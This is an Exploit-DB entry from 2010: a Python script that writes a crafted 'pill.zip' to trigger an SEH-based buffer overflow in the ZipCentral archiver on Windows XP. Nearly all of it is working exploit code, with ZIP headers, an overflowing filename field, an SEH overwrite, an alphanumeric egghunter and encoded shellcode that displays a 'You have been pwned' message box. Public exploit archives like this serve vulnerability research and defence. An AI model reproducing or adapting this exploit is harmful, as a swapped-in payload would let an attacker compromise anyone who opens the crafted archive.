Exploit-DB #12053
Description: ZipCentral - '.zip' File (SEH)
Type: local
Platform: windows
Date: 2010-04-04
Author: TecR0c

Exploit:
#!/usr/bin/python
#
# Title:                ZipCentral (.zip) SEH exploit
# Author:               TecR0c - http://tecninja.net/blog & http://twitter.com/TecR0c
# Download:             http://downloads.pcworld.com/pub/new/utilities/compression/zcsetup.exe
# Platform:             Windows XP sp3 En (VMWARE)
# Greetz to:            Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.

# Unfortunately, no one can be told what the Matrix is. You have to see it for yourself!
# To be able to make sure your hex values get mangled correctly i have created my own
# Mangled Chart: http://tecninja.net/blog/?p=35
# Discription of exploit: http://tecninja.net/blog/?p=73
# You can notice i have used this technique for my PPR and JMPs

print "|------------------------------------------------------------------|"
print "|                         __               __                      |"
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |"
print "|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |"
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |"
print "| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |"
print "|                                                                  |"
print "|                                       http://www.corelan.be:8800 |"
print "|                                              security@corelan.be |"
print "|                                                                  |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "[+] pill (.zip) SEH exploit - by TecR0c"



ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00")

cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")

eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
"\x12\x10\x00\x00"
"\x02\x10\x00\x00"
"\x00\x00")


#Limit of 50 bytes for the filename

#PASSWORDS
#filename = ("\x50\x41\x53"
#"\x53\x57\xea\x52\x44\x53")

#ReadMe
filename = (
"\x52\x65\x61\x64\x4d\x65")


# ESI - Im going to enjoy watching you die Mr Anderson
egghunter = ("VYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIBFmQzjk"
"OdOw2sb3ZUR68JmVNulUUQJSDJOx867Dpdp64nkKJNOpuKZNOT5JGYokWA")

# align ESI for msg - To deny our own impulses is to deny the very thing that makes us human
getpc = ("\x89\x05\x5e\x41\x98\x99\x41\x8a\x94\x98\x98\x98")

# EDI is chosen thanks to the egghunter - Never send a human to do a machines job
msg = ( # TITLE=Corelan TEXT="You have been pwned"
"WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIyIHkOkJy4"
"4a4yd4qXRlr2Zp1HIpdNk2Q00lK2VVllKpvglnkg6THNksNUpLKVVWHPOfxRU"
"l3ryUQKakOXa50nkPlvDtdLKW5wLlKPTTEPxWqKZLK0J6xnk1JwPVahkM35g1"
"YlK7DLKVaXn6Q9o6QkpKLnLMTIP0tTJKq8O4Ms1iWm9hqyo9okOWKQlwTWXae"
"knnk0ZUtGqzK1vNk6l0KLKPZuLs1jKLK4Dnkc1m8NiQTwT7lu1O3oBTHGYn4O"
"y8eLIKrqxnnPNVnZL3bkXmLKOkOKOK9pETDOKqnKhM2qcmW5Lddcbm8NkKOIo"
"KOoyqU4H3XRLrLGPkOu8tsvR6NQte8QeQc0esBoxQLetwzOyKVF6Yo65vdmY9"
"RrpmklhoRPMmlowglut2rM8CnKOKO9oQxRLparNqH1xrcPobR2EEaKkmXQLTd"
"UWMY9saxBNsUu4shu8RNq0RPqgRHq0QrBE3UU80h3QPvQu58QIBOd5upvQO9m"
"XpLutvsK9YqfQN22r63SaaBio8PVQyPpP9oPUS8vjA")


buff = filename
buff += "\x20" * (50-len(buff))
buff += "\x57\x30\x30\x54" # If you close your eyes, it almost feels like you're eating runny eggs
buff += "\x57\x30\x30\x54" # The trace was completed
buff += msg # Don't hate me Trinity... I'm just the messenger
buff += "\x41" * (653-len(buff))
buff += "\x89\x06\x42\x42"
buff += "\x56\x29\xa5\x72" # Welcome to the desert of the real
buff += "\x41" * 10
buff += getpc
buff += egghunter # The digital pimp hard at work
buff += "\x42" * (4064-len(buff))
buff += ".txt"


mefile = open('pill.zip','w');
mefile.write(ldf_header + buff + cdf_header + buff + eofcdf_header);
mefile.close()